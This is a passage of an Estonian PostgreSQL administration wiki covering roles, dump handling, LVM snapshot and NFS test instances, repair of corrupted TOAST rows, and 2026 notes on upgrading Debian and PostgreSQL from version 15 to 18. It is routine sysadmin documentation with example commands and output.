SQL&amp;gt; GRANT SELECT ON ALL TABLES IN SCHEMA public TO wiki_ro;&lt;br /&gt;
SQL&amp;gt; GRANT SELECT ON ALL SEQUENCES IN SCHEMA public TO wiki_ro;&lt;br /&gt;
SQL&amp;gt; create role wiki_bi login;&lt;br /&gt;
SQL&amp;gt; grant wiki_ro to wiki_bi;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://jamie.curle.io/creating-a-read-only-user-in-postgres&lt;br /&gt;
&lt;br /&gt;
===PostgreSQL SSL toe kasutamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Extensionite kasutamine===&lt;br /&gt;
&lt;br /&gt;
Nimekirja küsimine&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; select * from pg_available_extensions order by name;&lt;br /&gt;
&lt;br /&gt;
===pg_buffercache===&lt;br /&gt;
&lt;br /&gt;
pg_buffefrcache on contrib moodul, kasutamiseks tuleb laadida baasi abivahendid&lt;br /&gt;
&lt;br /&gt;
 $ psql -p 5432 -U postgres -d pgbench -f /usr/share/postgresql/9.0/contrib/pg_buffercache.sql&lt;br /&gt;
&lt;br /&gt;
===Baasi kustutamine===&lt;br /&gt;
&lt;br /&gt;
Reeglina ei saa kustuta create database andmebaasi kui seal on kasutajad küljes, selle vastu võiks aidata selline skript&lt;br /&gt;
&lt;br /&gt;
 # cat kustuta-test-baas.sh&lt;br /&gt;
 /bin/su - postgres -c &amp;quot;psql -U postgres -c \&amp;quot;update pg_database set datallowconn = 'false' where datname = 'test'; \&amp;quot;&amp;quot;&lt;br /&gt;
 /bin/su - postgres -c &amp;quot;psql -U postgres -c \&amp;quot;select pg_terminate_backend(procpid) from pg_stat_activity where datname = 'test'; \&amp;quot;&amp;quot;&lt;br /&gt;
 dropdb -U testija test 1&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
===pg_dump skriptiga töötamine===&lt;br /&gt;
&lt;br /&gt;
Tabelinimede küsimine&lt;br /&gt;
&lt;br /&gt;
 $ sed '/^CREATE TABLE/!d' baas.sql&lt;br /&gt;
&lt;br /&gt;
Esitada tabeli loomised ridade numbritega&lt;br /&gt;
&lt;br /&gt;
 $ sed -n '/^CREATE TABLE/{=;p}' baas.sql&lt;br /&gt;
&lt;br /&gt;
COPY vahemiku otsimine&lt;br /&gt;
&lt;br /&gt;
sed -n '/^COPY/{=;p}' baas.sql &amp;gt; vahemik.sql&lt;br /&gt;
&lt;br /&gt;
Ridade vahemiku esitamine&lt;br /&gt;
&lt;br /&gt;
 $ sed -n '15994,16041p' baas.sql &amp;gt; vahemik.sql&lt;br /&gt;
&lt;br /&gt;
Rea eraldamine failist&lt;br /&gt;
&lt;br /&gt;
 $ grep ^622087 vahemik.sql &amp;gt; baas-tabel-copy-622087.sql&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* Baasis parasjagu toimuvate tegevuste nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# select  datname,usename,procpid,client_addr,waiting,query_start,current_query FROM pg_stat_activity;&lt;br /&gt;
  datname  | usename  | procpid |  client_addr  | waiting |          query_start          |                                            current_query                  &lt;br /&gt;
 ----------+----------+---------+---------------+---------+-------------------------------+------------------------------------------------------------------------------------------------------&lt;br /&gt;
  postgres | postgres |    2424 |               | f       | 2013-03-08 10:37:24.551676+02 | select  datname,usename,procpid,client_addr,waiting,query_start,current_query FROM pg_stat_activity;&lt;br /&gt;
  prtaal   | postgres |    1673 | 172.19.10.142 | t       | 2013-03-08 09:49:11.287969+02 | SELECT count(*) AS rows FROM ONLY pw.logi&lt;br /&gt;
  prtaal   | postgres |   21303 |               | f       | 2013-03-08 09:22:40.516297+02 | ALTER TABLE ONLY logi&lt;br /&gt;
                                                                                         :     ADD CONSTRAINT logi_pkey PRIMARY KEY (log_id);&lt;br /&gt;
&lt;br /&gt;
* Suuremate tabelite nimekirja esitamine, koos vastavate indexite ja toastidega&lt;br /&gt;
&lt;br /&gt;
 SELECT nspname || '.' || relname AS &amp;quot;relation&amp;quot;,&lt;br /&gt;
    pg_size_pretty(pg_total_relation_size(C.oid)) AS &amp;quot;size&amp;quot;&lt;br /&gt;
   FROM pg_class C&lt;br /&gt;
   LEFT JOIN pg_namespace N ON (N.oid = C.relnamespace)&lt;br /&gt;
   WHERE nspname NOT IN ('pg_catalog', 'information_schema') and relkind='r'&lt;br /&gt;
   ORDER BY pg_total_relation_size(C.oid) DESC&lt;br /&gt;
   LIMIT 20;&lt;br /&gt;
&lt;br /&gt;
* pg_controldata programmiga saab küsida infot andmeklustri kohta, protsessid võiksid sel ajal pigem mitte töötada&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.2/bin/pg_controldata /var/lib/postgresql/9.2/main &lt;br /&gt;
 pg_control version number:            922&lt;br /&gt;
 Catalog version number:               201204301&lt;br /&gt;
 Database system identifier:           6004185537552842495&lt;br /&gt;
 Database cluster state:               in production&lt;br /&gt;
 pg_control last modified:             Tue Oct  7 15:01:55 2014&lt;br /&gt;
 Latest checkpoint location:           1CC/83B86EE0&lt;br /&gt;
 Prior checkpoint location:            1CC/83AD1C30&lt;br /&gt;
 Latest checkpoint's REDO location:    1CC/83B7B2C8&lt;br /&gt;
 Latest checkpoint's TimeLineID:       2&lt;br /&gt;
 Latest checkpoint's full_page_writes: on&lt;br /&gt;
 Latest checkpoint's NextXID:          0/160131529&lt;br /&gt;
 Latest checkpoint's NextOID:          98092825&lt;br /&gt;
 Latest checkpoint's NextMultiXactId:  13515&lt;br /&gt;
 Latest checkpoint's NextMultiOffset:  27409&lt;br /&gt;
 Latest checkpoint's oldestXID:        675&lt;br /&gt;
 Latest checkpoint's oldestXID's DB:   1&lt;br /&gt;
 Latest checkpoint's oldestActiveXID:  0&lt;br /&gt;
 Time of latest checkpoint:            Tue Oct  7 15:01:50 2014&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
* defaultist erineva collate ja ctype väärtustega create database baasi tekitamine, eelduseks on, et kõik baasid on UTF-8 kodeeringus&lt;br /&gt;
&lt;br /&gt;
 postgres=# create database db_jira_c template = template0 lc_collate = 'C.UTF-8' lc_ctype='C.UTF-8';&lt;br /&gt;
&lt;br /&gt;
tulemusena on&lt;br /&gt;
&lt;br /&gt;
 postgres=# \l&lt;br /&gt;
                                     List of databases&lt;br /&gt;
      Name     |   Owner    | Encoding |   Collate   |    Ctype    |   Access privileges   &lt;br /&gt;
 --------------+------------+----------+-------------+-------------+----------------------&lt;br /&gt;
 .. &lt;br /&gt;
  db_jira      | jira       | UTF8     | et_EE.UTF-8 | et_EE.UTF-8 | &lt;br /&gt;
  db_jira_c    | postgres   | UTF8     | C.UTF-8     | C.UTF-8     | &lt;br /&gt;
  template0    | postgres   | UTF8     | et_EE.UTF-8 | et_EE.UTF-8 | =c/postgres          +&lt;br /&gt;
               |            |          |             |             | postgres=CTc/postgres&lt;br /&gt;
  template1    | postgres   | UTF8     | et_EE.UTF-8 | et_EE.UTF-8 | =c/postgres          +&lt;br /&gt;
               |            |          |             |             | postgres=CTc/postgres&lt;br /&gt;
&lt;br /&gt;
===Rakendus kasutab andmebaasi===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL andmebaasis vaikimis olemas oleva kasutaja nimi on postgres ja seal on olemas create database postgres. Neid kumbagi ei tohiks kasutada rakenduse andmete jaoks. Seoses rakendusega on andmebaasis juurutatud &lt;br /&gt;
&lt;br /&gt;
* kasutaja rakendusenimi_admin - sellele kasutajale kuuluvad rakendusega seotud andmebaasi objektid (skeemid, tabelid, funktsioonid jne); kasutaja ei ole PostgreSQL superuser privileegiga&lt;br /&gt;
* kasutaja rakendusenimi_user - selle kasutajana pöördub baasi poole rakendus, kasutajale on antud grant lausete abil õigus kuhu vaja teha select, update jms; kasutaja ei ole PostgreSQL superuser privileegiga&lt;br /&gt;
* create database andmebaas rakenduse_baas - selle ja kõigi seal sisalduvate objektide omanik on rakendusenimi_admin, kusjuures rakendus ei tohiks kasutada public skeemi vaid spetsiifiliste nimedega skeeme&lt;br /&gt;
&lt;br /&gt;
Selline tulemus tekib nt sellise järgnevuse tulemusena&lt;br /&gt;
&lt;br /&gt;
* ühendutakse uude tühja PostgreSQL andmebaasi kasutajana postgres ning tekitatakse kaks mitte-superuser kasutajat&lt;br /&gt;
* ühendutakse uude PostgreSQL andmebaasi kasutajana postgres ning tekitatakse rakenduse jaoks create database rakenduse_baas näidates omaniku&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; create database rakenduse_baas owner = rakendusenimi_admin;&lt;br /&gt;
&lt;br /&gt;
* ühendutakse baasi kasutajana rakendusenimi_admin ja tekitatakse andmebaasiobjektid (skeemid, tabelid jne)&lt;br /&gt;
* ühendutakse baasi kasutajana rakendusenimi_admin ja lisatakse vajalikud grantid rakendusenimi_user jaoks&lt;br /&gt;
&lt;br /&gt;
Oluline on seejuures, et andmebaasi rakenduse_baas süsteemseid objekte ei muudeta ära postgres kasutaja omandusest (nt create database rakendusenimi_baas skeemid information_schema või pg_catalog).&lt;br /&gt;
&lt;br /&gt;
Kui selliselt moodustatud baasist (või mõnest osast, nt skeem, tabel) teha postgres või rakendusenimi_admin kasutajana dump, siis on seal automaatselt sees vajalikud alter ja grant laused. Kui mõnes teises PostgreSQL andmebaasiserveris on olemas kasutajad rakendusenimi_admin ja rakendusenimi_user, siis saab sinna mainitud dumpi laadida sisse postgres või rakendusenimi_admin kasutajana ning tekivad sobivate omanikega ja grantidega objektid.&lt;br /&gt;
&lt;br /&gt;
===LVM, NFS ja PostgreSQL kasutamine andmebaasi hooldustöös===&lt;br /&gt;
&lt;br /&gt;
Toetudes sellistele asjaoludele, saab kasutada kiireid ja mugavaid haldusprotseduure&lt;br /&gt;
&lt;br /&gt;
* Debiani ja Ubuntu paketihalduse PostgreSQL sisaldab võimalust hästi hõlpsasti käivatada ühes arvutis st operatsioonisüsteemis mitut andmebaasi eksemplari (st postgres protsesside komplekti)&lt;br /&gt;
* LVM plokkseadme haldusvahendid&lt;br /&gt;
* NFS serveri ja kliendi võimalused&lt;br /&gt;
&lt;br /&gt;
====LVM kasutamine PostgreSQL andmebaasiga====&lt;br /&gt;
&lt;br /&gt;
Käesolevas punktis juhitakse tähelepanu kuidas PostgreSQL töös kasutada ära LVM võimalusi. Põhiliselt seisneb see LVM snapshot kasutamisel. Eelduseks on , et operatsioonisüsteemis on LVM tugi olemas (reeglina on see nii paratamatult) ning seda kasutatakse andmebaasi failisüsteem all, nt nii&lt;br /&gt;
&lt;br /&gt;
 # df -h&lt;br /&gt;
 Filesystem                                           Size  Used Avail Use% Mounted on&lt;br /&gt;
 ..&lt;br /&gt;
 /dev/mapper/pgdata-data_postgresql                   158G  135G   16G  90% /var/lib/postgresql&lt;br /&gt;
 /dev/mapper/pgdata-data_backup                        36G   25G  9.2G  73% /data/backup&lt;br /&gt;
&lt;br /&gt;
LVM snapshot kasutamine annab võimaluse kasutada ajahetkel vastavat baasi seisu nö lühiajaliseks katseks (ajalise kestuse võimaluse määrab LVM snapshotile eraldatud mahu ressursi suurus; nb! kui näidatud maht saab täis jääb baas seisma ja enam andmetele vähemalt kergesti ligi ei pääse)&lt;br /&gt;
&lt;br /&gt;
* peatada baasi protsessid&lt;br /&gt;
* ühendada lahti /var/lib/postgresql failisüsteem&lt;br /&gt;
* tekitada snapshot&lt;br /&gt;
&lt;br /&gt;
 # lvcreate -L 40G -s -n data_postgresql_20150326_tootanud /dev/pgdata/data_postgresql&lt;br /&gt;
&lt;br /&gt;
* ühendada snapshot failisüsteem /var/lib/postgresql alla&lt;br /&gt;
&lt;br /&gt;
 # mount /dev/pgdata/data_postgresql_20150326_tootanud /var/lib/postgresql&lt;br /&gt;
&lt;br /&gt;
* käitada baasi protsessid&lt;br /&gt;
&lt;br /&gt;
Peale katse lõppu &lt;br /&gt;
&lt;br /&gt;
* peatada protsessid&lt;br /&gt;
* ühendada snapshoti failisüsteem lahti&lt;br /&gt;
* kustutada snapshot&lt;br /&gt;
&lt;br /&gt;
 # lvremove /dev/pgdata/data_postgresql_20150326_tootanud&lt;br /&gt;
&lt;br /&gt;
* ühedada algne failisüsteem külge&lt;br /&gt;
* käivitada protsessid&lt;br /&gt;
&lt;br /&gt;
Lisaks on võimalus käivitada kaks PostgreSQL eksemplari paraleelselt, selleks tuleb tekida snapshot nagu kirjeldatud, käivitada tagasi originaal ning valmistada ette teise (st snapshotilt töötava) andmebaasi eksemplari seadistused&lt;br /&gt;
&lt;br /&gt;
 # cp -a /etc/postgresql/9.4/main /etc/postgresql/9.4/test&lt;br /&gt;
&lt;br /&gt;
ning kohendada postgresql.conf seadistusfailis parameetreid&lt;br /&gt;
&lt;br /&gt;
* data kataloog&lt;br /&gt;
* pid fail&lt;br /&gt;
* archive log välja lülitada&lt;br /&gt;
* logi kataloog&lt;br /&gt;
* port - nt 5433&lt;br /&gt;
* ressursikasutus üle vaadata (shared_buffers, max_connections)&lt;br /&gt;
&lt;br /&gt;
nt selliselt&lt;br /&gt;
&lt;br /&gt;
 # diff /etc/postgresql/9.4/main/postgresql.conf /etc/postgresql/9.4/test/postgresql.conf&lt;br /&gt;
 &amp;lt; data_directory = '/var/lib/postgresql/9.4/main'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; data_directory = '/var/lib/postgresql/9.4/test'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; hba_file = '/etc/postgresql/9.4/main/pg_hba.conf'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; hba_file = '/etc/postgresql/9.4/test/pg_hba.conf'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; ident_file = '/etc/postgresql/9.4/main/pg_ident.conf'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; ident_file = '/etc/postgresql/9.4/test/pg_ident.conf'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; external_pid_file = '/var/run/postgresql/9.4-main.pid'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; external_pid_file = '/var/run/postgresql/9.4-test.pid'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; port = 5432&lt;br /&gt;
 &amp;lt; max_connections = 100&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; port = 5433&lt;br /&gt;
 &amp;gt; max_connections = 30&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; shared_buffers = 2GB&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; shared_buffers = 384MB&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; archive_mode = off&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; # archive_mode = off&lt;br /&gt;
  &lt;br /&gt;
 &amp;lt; stats_temp_directory = '/var/run/postgresql/9.4-main.pg_stat_tmp'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; stats_temp_directory = '/var/run/postgresql/9.4-test.pg_stat_tmp'&lt;br /&gt;
&lt;br /&gt;
ühendada külge sobivasse punkti failisüsteemis, nt&lt;br /&gt;
&lt;br /&gt;
 # mkdir /var/lib/postgresql/9.2/test&lt;br /&gt;
 # mount /dev/pgdata/data_postgresql_20150326_tootanud /var/lib/postgresql/9.2/test&lt;br /&gt;
&lt;br /&gt;
ning käivitada teine eksemplar&lt;br /&gt;
&lt;br /&gt;
 # pg_ctlcluster 9.4 test start&lt;br /&gt;
&lt;br /&gt;
Tulemusena on kaks eksemplari&lt;br /&gt;
&lt;br /&gt;
 # pg_lsclusters &lt;br /&gt;
 Ver Cluster    Port Status Owner    Data directory                  Log file&lt;br /&gt;
 9.2 main       5432 online postgres /var/lib/postgresql/9.2/main    /var/log/postgresql/postgresql-%Y-%m-%d_%H%M%S.log&lt;br /&gt;
 9.2 test       5433 online postgres /var/lib/postgresql/9.2/test    /var/log/postgresql-test/postgresql-%Y-%m-%d_%H%M%S.log&lt;br /&gt;
&lt;br /&gt;
Kui LVM snapshot tehti töötavast andmeklastri kataloogist, siis saab käivitamisel sellise veateate&lt;br /&gt;
&lt;br /&gt;
 # pg_ctlcluster 9.2 test start&lt;br /&gt;
 Cluster is already running.&lt;br /&gt;
&lt;br /&gt;
Teda segab selline fail, mis tuleb eemaldada&lt;br /&gt;
&lt;br /&gt;
 # cat /var/lib/postgresql/9.2/test/postmaster.pid &lt;br /&gt;
 2025&lt;br /&gt;
 /var/lib/postgresql/9.2/main&lt;br /&gt;
 1473969248&lt;br /&gt;
 5432&lt;br /&gt;
 /var/run/postgresql&lt;br /&gt;
&lt;br /&gt;
====NFS kasutamine PostgreSQL andmebaasiga====&lt;br /&gt;
&lt;br /&gt;
PostgreSQL töötab põhimõtteliselt ilusti üle NFS külge ühendatud failisüsteemiga. Seejuures tuleb muidugi arvestada, et NFS ressursi jõudlus ei ole tingimata selliste omadustega nagu lokaalne või FC ressurss. NFS ja LVM kombineerimine eemaldab eelmises punktis kirjeldatud tegevustelt samas arvutis töötamise piirangu. St võimalik on LVM snapshotilt käivitada andmebaas teises arvutis. Selleks tuleb &lt;br /&gt;
&lt;br /&gt;
* moodustada LVM snaphost&lt;br /&gt;
* snapshot failisüsteem ühendada külge nagu kirjeldatud eelmises punktis (NB! mitte käivitada lokaalselt sealt protsesse, vastasel juhul tekib konflikt kuna samu andmebaasi faile kasutatakse kahest arvutist sõltumatult)&lt;br /&gt;
* Seejärel tuleb jagada snapshoti failisüsteem välja NFS serveris (10.100.13.159 on NFS klient)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/exports&lt;br /&gt;
 /var/lib/postgresql/9.2/test      10.100.13.159(rw,sync,no_subtree_check)&lt;br /&gt;
&lt;br /&gt;
ning öelda&lt;br /&gt;
&lt;br /&gt;
 # /etc/init.d/nfs-kernel-server reload&lt;br /&gt;
&lt;br /&gt;
* kliendi arvutis külge ühendada (10.100.13.174 on NFS server)&lt;br /&gt;
&lt;br /&gt;
 # mount 10.100.13.174:/var/lib/postgresql/9.2/test /var/lib/postgresql/9.2/test&lt;br /&gt;
&lt;br /&gt;
* edasi kasutada sarnaselt kui eelmises punktis teist eksemplari&lt;br /&gt;
&lt;br /&gt;
====LVM ja NFS kasutamine PostgreSQL andmebaasiga====&lt;br /&gt;
&lt;br /&gt;
Kahe eelmise punkti üks variantsioon on võimalus mugavalt läbi proovida andmebaasi versiooni uuendamist pg_upgrade utiliidi abil. St teises arvutis on siis olemas&lt;br /&gt;
&lt;br /&gt;
* snapshotilt tulev vana baasi failisüsteem üle NFS&lt;br /&gt;
* peab olema vana baasi versioonile vastav tarkvara paigaldatud lokaalselt (nt v. 8.4)&lt;br /&gt;
* uue baasi versiooni tarkvara paigaldatud lokaalselt (nt v. 9.4)&lt;br /&gt;
&lt;br /&gt;
Ja tulemusena peab saama öelda nö&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.4/bin/pg_upgrade -b /usr/lib/postgresql/8.4/bin -B /usr/lib/postgresql/9.4/bin -d /var/lib/postgresql/8.4/test \&lt;br /&gt;
   -D /var/lib/postgresql/9.4/test -p 5432 -P 5433 -o ' -D /etc/postgresql/8.4/test' -O ' -D /etc/postgresql/9.4/test' -c&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi vigade parandamine===&lt;br /&gt;
&lt;br /&gt;
====XXX viga====&lt;br /&gt;
&lt;br /&gt;
Probleemiks on baasi dump käigus tekkiv viga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ pg_dump -p 5435 -Fc -f baasinimi.dump baasinimi&lt;br /&gt;
pg_dump: Dumping the contents of table &amp;quot;failid&amp;quot; failed: PQgetResult() failed.&lt;br /&gt;
pg_dump: Error message from server: ERROR:  unexpected chunk number 570 (expected 568) for toast value 241844880 in pg_toast_62025918&lt;br /&gt;
pg_dump: The command was: COPY public.failid (faili_id, yhistu_id, perioodi_id, arve_id, dokumendi_id, ...) TO stdout;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tööpõhimõte&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
failid2 tabeli tekitamiseks sobib öelda (nb! ei tekitata constrainitisid jms)&lt;br /&gt;
&lt;br /&gt;
 baasinimi=# select * into failid2 from failid limit 1;&lt;br /&gt;
 baasinimi=# delete from failid2;&lt;br /&gt;
&lt;br /&gt;
Vigaste kirjete leidmine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
-- FUNCTION: public.imre10(integer, integer)&lt;br /&gt;
&lt;br /&gt;
-- DROP FUNCTION public.imre10(integer, integer);&lt;br /&gt;
&lt;br /&gt;
CREATE OR REPLACE FUNCTION public.imre10(&lt;br /&gt;
	integer,&lt;br /&gt;
	integer)&lt;br /&gt;
    RETURNS character varying&lt;br /&gt;
    LANGUAGE 'plpgsql'&lt;br /&gt;
&lt;br /&gt;
    COST 100&lt;br /&gt;
    VOLATILE &lt;br /&gt;
AS $BODY$&lt;br /&gt;
DECLARE&lt;br /&gt;
    badid INT;&lt;br /&gt;
	vfaili_id integer;&lt;br /&gt;
	vyhistu_id integer;&lt;br /&gt;
	vperioodi_id integer;&lt;br /&gt;
	varve_id integer;&lt;br /&gt;
	vdokumendi_id integer;&lt;br /&gt;
        ...&lt;br /&gt;
	loc varchar;&lt;br /&gt;
BEGIN&lt;br /&gt;
FOR badid IN SELECT faili_id FROM failid LOOP&lt;br /&gt;
    BEGIN&lt;br /&gt;
        select faili_id into vfaili_id FROM failid where faili_id = badid;&lt;br /&gt;
        select yhistu_id into vyhistu_id FROM failid where faili_id = badid;&lt;br /&gt;
	select perioodi_id into vperioodi_id FROM failid where faili_id = badid;&lt;br /&gt;
	select arve_id into varve_id FROM failid where faili_id = badid;&lt;br /&gt;
	select dokumendi_id into vdokumendi_id from failid where faili_id = badid;&lt;br /&gt;
        ...&lt;br /&gt;
	insert into failid2 (faili_id, yhistu_id, arve_id, dokumendi_id, ...) values (vfaili_id, vyhistu_id, varve_id, vdokumendi_id, ...);&lt;br /&gt;
        -- RAISE NOTICE 'Hello World %', badid::int;&lt;br /&gt;
    EXCEPTION&lt;br /&gt;
        WHEN OTHERS THEN&lt;br /&gt;
           RAISE NOTICE 'Data for ID % is corrupt', badid;&lt;br /&gt;
           CONTINUE;&lt;br /&gt;
    END;&lt;br /&gt;
END LOOP;&lt;br /&gt;
return 'tere';&lt;br /&gt;
END;&lt;br /&gt;
$BODY$;&lt;br /&gt;
&lt;br /&gt;
ALTER FUNCTION public.imre10(integer, integer)&lt;br /&gt;
    OWNER TO imre;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
käivitamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
baasinimi=# select imre10(1, 1);&lt;br /&gt;
NOTICE:  Data for ID 2594124 is corrupt&lt;br /&gt;
NOTICE:  Data for ID 2594125 is corrupt&lt;br /&gt;
 imre10&lt;br /&gt;
--------&lt;br /&gt;
 tere&lt;br /&gt;
(1 row)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vigaste kirjete kustutamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
baasinimi=# select * from failid where faili_id = '2594124';&lt;br /&gt;
ERROR:  unexpected chunk number 570 (expected 568) for toast value 241844880 in pg_toast_62025918&lt;br /&gt;
baasinimi=# select * from failid where faili_id = '2594125';&lt;br /&gt;
ERROR:  unexpected chunk number 62 (expected 60) for toast value 241844882 in pg_toast_62025918&lt;br /&gt;
&lt;br /&gt;
baasinimi=# delete from failid where faili_id = '2594124';&lt;br /&gt;
DELETE 1&lt;br /&gt;
baasinimi=# delete from failid where faili_id = '2594125';&lt;br /&gt;
DELETE 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.postgresql.org/message-id/CACut7uSkZrpFHtDEq6UCoOd5fMpXDvmhzGSh=ZHJx86Ac=nOUg@mail.gmail.com&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# table pg_hba_file_rules;&lt;br /&gt;
 line_number | type  |   database    | user_name  |  address  |                 netmask                 | auth_method | options | error &lt;br /&gt;
-------------+-------+---------------+------------+-----------+-----------------------------------------+-------------+---------+-------&lt;br /&gt;
          85 | local | {all}         | {postgres} |           |                                         | peer        |         | &lt;br /&gt;
          90 | local | {all}         | {all}      |           |                                         | peer        |         | &lt;br /&gt;
          92 | host  | {all}         | {all}      | 127.0.0.1 | 255.255.255.255                         | md5         |         | &lt;br /&gt;
          94 | host  | {all}         | {all}      | 0.0.0.0   | 0.0.0.0                                 | md5         |         | &lt;br /&gt;
          97 | local | {replication} | {all}      |           |                                         | peer        |         | &lt;br /&gt;
          98 | host  | {replication} | {all}      | 127.0.0.1 | 255.255.255.255                         | md5         |         | &lt;br /&gt;
          99 | host  | {replication} | {all}      | ::1       | ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff | md5         |         | &lt;br /&gt;
(7 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===2026 kevade märkused===&lt;br /&gt;
&lt;br /&gt;
* lähtepunktiks on töötav debian v. 11 ja pgdg v. 15 postgresql andmebaas, pgbackrest on kasutusel varundamiseks ssh serverisse, zabbix agent2&lt;br /&gt;
* disableda systemd abil postgresql ja postgresql@15-main, /etc/fstab kommenteerida välja '/var/lib/postgresql', virtuaalse pve arvuti shutdown ja teha pbs varundus mitte-töötavast arvutist&lt;br /&gt;
* eemaldada zabbix-agent2 pakett&lt;br /&gt;
* arvuti käivitada ja uuendada 11 -&amp;gt; 12 -&amp;gt; 13 debian operatsioonisüsteem ja pgdg tarkvara (muutes bullseye -&amp;gt; bookworm -&amp;gt; trixie apt sources konfis)&lt;br /&gt;
* veenduda et /etc/postgresql-common/pgcreatecluster.d/moraal.conf on sobiva sisuga, vt all pool&lt;br /&gt;
* paigaldada postgresql-18 pakett&lt;br /&gt;
* monteerida külge '/var/lib/postgresql'&lt;br /&gt;
* teha igaks juhuks koopia /var/lib/postgreql/15/main kataloogist&lt;br /&gt;
* käivitada uuendatud olukorras postgresql v. 15 ja korrigeerida libc uuendusest tulenevad probleemid, vt all pool&lt;br /&gt;
* uuendada postgresql andmestik pg_clusterupgrade abil 15 -&amp;gt; 18, analyze jne (pg_clusterupgrade väljund õpetab)&lt;br /&gt;
* enableda systemd abil postgresql ja postgresql@18-main&lt;br /&gt;
* paigaldada zabbix-agent2 pakett (seejuures vist tekib automaatselt pinning /etc/apt/preferences.d/zabbix abil repo.zabbix.com peale või versioonile)&lt;br /&gt;
&lt;br /&gt;
====pg v. 15 all Debian v 11 -&amp;gt; v 13 uuendamine====&lt;br /&gt;
&lt;br /&gt;
Käesolev punkt ei tegele postgresql tarkvara enda uuendamisega, aga postgresqli sama versiooni mõjutava libc uuenduse mõjuga, Debian v 11 puhul&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# dpkg -l libc6 | grep ^ii&lt;br /&gt;
ii  libc6:amd64    2.31-13+deb11u13 amd64        GNU C Library: Shared libraries&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja Debian v 13 puhul&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# dpkg -l libc6 | grep ^ii&lt;br /&gt;
ii  libc6:amd64    2.41-12+deb13u2 amd64        GNU C Library: Shared libraries&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
probleem paistab välja logis nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
2026-05-12 23:05:36.689 EEST [3152] LOG:  starting PostgreSQL 15.17 (Debian 15.17-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit&lt;br /&gt;
2026-05-12 23:05:36.690 EEST [3152] LOG:  listening on IPv4 address &amp;quot;0.0.0.0&amp;quot;, port 5432&lt;br /&gt;
2026-05-12 23:05:36.690 EEST [3152] LOG:  listening on IPv6 address &amp;quot;::&amp;quot;, port 5432&lt;br /&gt;
2026-05-12 23:05:36.691 EEST [3152] LOG:  listening on Unix socket &amp;quot;/var/run/postgresql/.s.PGSQL.5432&amp;quot;&lt;br /&gt;
2026-05-12 23:05:36.697 EEST [3155] LOG:  database system was shut down at 2026-05-12 22:18:29 EEST&lt;br /&gt;
2026-05-12 23:05:36.707 EEST [3152] LOG:  database system is ready to accept connections&lt;br /&gt;
2026-05-12 23:05:37.748 EEST [3162] postgres@template1 WARNING:  database &amp;quot;template1&amp;quot; has a collation version mismatch&lt;br /&gt;
2026-05-12 23:05:37.748 EEST [3162] postgres@template1 DETAIL:  The database was created using collation version 2.31, but the operating system provides version 2.41.&lt;br /&gt;
2026-05-12 23:05:37.748 EEST [3162] postgres@template1 HINT:  Rebuild all objects in this database that use the default collation and run ALTER DATABASE template1 REFRESH COLLATION VERSION, or build PostgreSQL with the right library version.&lt;br /&gt;
2026-05-12 23:05:38.265 EEST [3165] postgres@template1 WARNING:  database &amp;quot;template1&amp;quot; has a collation version mismatch&lt;br /&gt;
